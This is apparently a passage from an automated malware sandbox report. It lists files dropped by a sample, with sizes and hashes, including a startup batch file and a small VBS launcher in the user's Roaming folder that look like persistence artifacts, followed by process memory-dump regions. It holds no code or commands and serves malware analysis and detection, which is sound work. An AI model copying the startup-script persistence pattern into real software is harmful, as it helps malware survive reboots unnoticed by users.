                                                                                                                  SHA256

                                                                                                                  d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

                                                                                                                  SHA512

                                                                                                                  de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncl00div.in3.ps1

                                                                                                                  Filesize

                                                                                                                  1B

                                                                                                                  MD5

                                                                                                                  c4ca4238a0b923820dcc509a6f75849b

                                                                                                                  SHA1

                                                                                                                  356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                  SHA256

                                                                                                                  6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                  SHA512

                                                                                                                  4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                • C:\Users\Admin\AppData\Roaming\startup_str_459.bat

                                                                                                                  Filesize

                                                                                                                  1002KB

                                                                                                                  MD5

                                                                                                                  f6d5bfaee8a55ff72c7b453fda066d62

                                                                                                                  SHA1

                                                                                                                  7d737d53013990e5d05076b7206e43eb4793fc7f

                                                                                                                  SHA256

                                                                                                                  3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

                                                                                                                  SHA512

                                                                                                                  e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

                                                                                                                • C:\Users\Admin\AppData\Roaming\startup_str_459.vbs

                                                                                                                  Filesize

                                                                                                                  115B

                                                                                                                  MD5

                                                                                                                  e82ad39c92b02438fd3ffa24ea952fdd

                                                                                                                  SHA1

                                                                                                                  e7d447be8581a28d8bbbd4723256c42bda68ef30

                                                                                                                  SHA256

                                                                                                                  e552e5bedb451ce70c65f34a9177b6fad8c8662f7b012865cb257657dba2c2b7

                                                                                                                  SHA512

                                                                                                                  b69f3aff6d3cdbe34817e0482ff0869f9f614707ceaede151379859f32a91d1f70b5333a9a114f71a922ce48b4776ef04e25fb00c7bab5692b123a73505f27ad

                                                                                                                • C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

                                                                                                                  Filesize

                                                                                                                  412B

                                                                                                                  MD5

                                                                                                                  6af9236b50cad843f4b75a672d5f225b

                                                                                                                  SHA1

                                                                                                                  4386e99afc9280f0f2985d4c1227ba7f65c48222

                                                                                                                  SHA256

                                                                                                                  3598fb9df3b946d942abfea15dcdf517384d4f0035fe88922102dba55749da55

                                                                                                                  SHA512

                                                                                                                  ea3d624faa59591cf7b9dbe33e7f03a58efc9918b77e10e022f86287a2d133762c52bcc916affc020d8d106d59554a12d31cbcace0e7ed777a25ceeb7b8790e8

                                                                                                                • memory/568-280-0x000002609AD10000-0x000002609AD3A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/568-279-0x000002609ACE0000-0x000002609AD05000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  148KB

                                                                                                                • memory/568-287-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/568-281-0x000002609AD10000-0x000002609AD3A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/568-286-0x000002609AD10000-0x000002609AD3A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/632-297-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/632-296-0x0000020D80600000-0x0000020D8062A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/632-291-0x0000020D80600000-0x0000020D8062A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/720-301-0x000001D64CA00000-0x000001D64CA2A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/720-306-0x000001D64CA00000-0x000001D64CA2A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/720-307-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/908-317-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/908-316-0x0000021BDAB90000-0x0000021BDABBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/908-311-0x0000021BDAB90000-0x0000021BDABBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/984-326-0x0000022788520000-0x000002278854A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/984-327-0x00007FFDF63A0000-0x00007FFDF63B0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  64KB

                                                                                                                • memory/984-322-0x0000022788520000-0x000002278854A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/1924-226-0x0000000007280000-0x0000000007292000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  72KB

                                                                                                                • memory/1924-234-0x000000000A930000-0x000000000A96E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  248KB

                                                                                                                • memory/1924-206-0x000000000AD50000-0x000000000ADE2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  584KB

                                                                                                                • memory/1924-205-0x000000000AC20000-0x000000000AC8C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  432KB

                                                                                                                • memory/1924-243-0x000000000A9A0000-0x000000000A9AA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  40KB

                                                                                                                • memory/2120-35-0x000000000D440000-0x000000000D93E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  5.0MB

                                                                                                                • memory/2120-0-0x000000007313E000-0x000000007313F000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4KB

                                                                                                                • memory/2120-3-0x0000000006DF0000-0x0000000006E26000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  216KB

                                                                                                                • memory/2120-5-0x0000000007510000-0x0000000007B38000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.2MB

                                                                                                                • memory/2120-4-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/2120-6-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/2120-7-0x0000000007400000-0x0000000007422000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  136KB

                                                                                                                • memory/2120-8-0x0000000007BF0000-0x0000000007C56000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  408KB

                                                                                                                • memory/2120-9-0x0000000007C60000-0x0000000007CC6000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  408KB

                                                                                                                • memory/2120-10-0x0000000007DD0000-0x0000000008120000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.3MB

                                                                                                                • memory/2120-225-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/2120-13-0x0000000008180000-0x000000000819C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  112KB

                                                                                                                • memory/2120-14-0x00000000087B0000-0x00000000087FB000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  300KB

                                                                                                                • memory/2120-15-0x0000000008550000-0x00000000085C6000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  472KB

                                                                                                                • memory/2120-26-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/2120-31-0x000000000ADC0000-0x000000000B438000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.5MB

                                                                                                                • memory/2120-32-0x0000000009350000-0x000000000936A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  104KB

                                                                                                                • memory/2120-33-0x0000000009320000-0x0000000009328000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2120-34-0x0000000009620000-0x0000000009712000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  968KB

                                                                                                                • memory/2828-273-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2828-268-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2828-266-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2828-265-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2828-267-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2828-275-0x00007FFE341A0000-0x00007FFE3424E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  696KB

                                                                                                                • memory/2828-274-0x00007FFE36310000-0x00007FFE364EB000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/2828-276-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  32KB

                                                                                                                • memory/2892-223-0x00000000009A0000-0x0000000000A0C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  432KB

                                                                                                                • memory/3708-231-0x000001D761C00000-0x000001D761C22000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  136KB

                                                                                                                • memory/3708-264-0x00007FFE341A0000-0x00007FFE3424E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  696KB

                                                                                                                • memory/3708-263-0x00007FFE36310000-0x00007FFE364EB000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.9MB

                                                                                                                • memory/3708-262-0x000001D761ED0000-0x000001D761EFA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  168KB

                                                                                                                • memory/3708-235-0x000001D761F30000-0x000001D761FA6000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  472KB

                                                                                                                • memory/4880-46-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/4880-47-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/4880-45-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/4880-66-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/4880-167-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/4880-67-0x0000000008A80000-0x0000000008A9E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  120KB

                                                                                                                • memory/4880-64-0x0000000008CD0000-0x0000000008D03000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  204KB

                                                                                                                • memory/4880-65-0x000000006FD30000-0x000000006FD7B000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  300KB

                                                                                                                • memory/4880-72-0x0000000008D30000-0x0000000008DD5000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  660KB

                                                                                                                • memory/4880-73-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB

                                                                                                                • memory/4880-74-0x0000000008FE0000-0x0000000009074000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  592KB

                                                                                                                • memory/4880-159-0x0000000073130000-0x000000007381E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.9MB